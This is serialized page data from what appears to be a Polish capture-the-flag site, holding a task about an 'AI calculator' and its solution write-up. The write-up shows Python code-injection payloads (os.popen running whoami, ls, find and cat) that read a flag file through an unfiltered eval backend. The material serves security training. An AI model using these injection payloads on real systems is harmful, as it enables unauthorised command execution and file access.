[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$api-WoZtLClxF3h3p2ghEzJArqo1LLmPi7H9G7LSShKemt8":3,"task-description-eval-calc":4,"task-eval-calc":5,"task-solution-eval-calc":9,"MarkdownContent_lCNgjrP4njOaWUoCoTncFXQh4V0Er2ZbLkXCbVvROw":10},"Bardzo bezpieczny kalkulator","W Ministerstwie Cyfryzacji trwa pilotażowy program wprowadzenia sztucznej inteligencji do obsługi urzędów. \nPierwszym testem jest publicznie dostępny **inteligentny kalkulator**, który ma pomagać obywatelom w rozwiązywaniu prostych problemów matematycznych.\n\nNiestety, system został wdrożony zbyt pośpiesznie – bez pełnego audytu bezpieczeństwa. \nTwoim zadaniem jest sprawdzenie, czy AI-kalkulator nie wykonuje czasem... zbyt wielu obliczeń.\n\n## Zadanie\n\nWejdź na stronę: https://eval-calc.hack4krak.pl i spróbuj obejść zabezpieczenia.",[6],{"description":7,"path":8},"Kod źródłowy backendu aplikacji","backend-source.zip","## Opis\n\nW zadaniu użytkownik ma do czynienia z pozornie prostym kalkulatorem. Po bliższej analizie okazuje się, że każde wpisane wyrażenie jest interpretowane jako kod w języku Python. To otwiera możliwość wykonywania dowolnych komend w systemie (tzw. **code execution backdoor**). Serwer weryfikuje jedynie nagłówki HTTP, sprawdzając ilość pamięci RAM – pozostałe dane nie mają znaczenia.\n\n## Rozwiązanie\n\n1. **Analiza działania kalkulatora**  \n   Szybkie testy pokazują, że np. wpisanie `1+2` zwraca `3`, a wpisanie `__import__(\"os\").popen(\"whoami\").read()` zwraca nazwę użytkownika systemowego. Wnioskujemy, że backend wykonuje kod Pythona bez filtrów.\n\n2. **Dostęp do systemu plików**  \n   Można wykonywać dowolne komendy powłoki:\n   ```python\n   import os\n   os.popen(\"ls /\").read()\n   ```\n\n3. **Zlokalizowanie pliku z flagą**  \n   Przeszukujemy cały system w poszukiwaniu pliku z flagą:\n   ```python\n   os.popen(\"find / -name DO_NOT_ENTER.txt 2>/dev/null\").read()\n   ```\n\n4. **Odczytanie zawartości pliku**  \n   Gdy mamy ścieżkę, np. `/app/DO_NOT_ENTER.txt`, odczytujemy ją:\n   ```python\n   os.popen(\"cat /app/DO_NOT_ENTER.txt\").read()\n   ```\n",["Island",11],{"key":12,"params":13,"result":15},"MarkdownContent_lCNgjrP4njOaWUoCoTncFXQh4V0Er2ZbLkXCbVvROw",{"props":14},"{\"text\":\"W Ministerstwie Cyfryzacji trwa pilotażowy program wprowadzenia sztucznej inteligencji do obsługi urzędów. \\nPierwszym testem jest publicznie dostępny **inteligentny kalkulator**, który ma pomagać obywatelom w rozwiązywaniu prostych problemów matematycznych.\\n\\nNiestety, system został wdrożony zbyt pośpiesznie – bez pełnego audytu bezpieczeństwa. \\nTwoim zadaniem jest sprawdzenie, czy AI-kalkulator nie wykonuje czasem... zbyt wielu obliczeń.\\n\\n## Zadanie\\n\\nWejdź na stronę: https://eval-calc.hack4krak.pl i spróbuj obejść zabezpieczenia.\"}",{"head":16},{"style":17},[18],{"innerHTML":19},"@layer base {:where(.i-lucide\\:hash){display:inline-block;width:1em;height:1em;background-color:currentColor;-webkit-mask-image:var(--svg);mask-image:var(--svg);-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:100% 100%;mask-size:100% 100%;--svg:url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' width='24' height='24'%3E%3Cpath fill='none' stroke='black' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M4 9h16M4 15h16M10 3L8 21m8-18l-2 18'/%3E%3C/svg%3E\")}}"]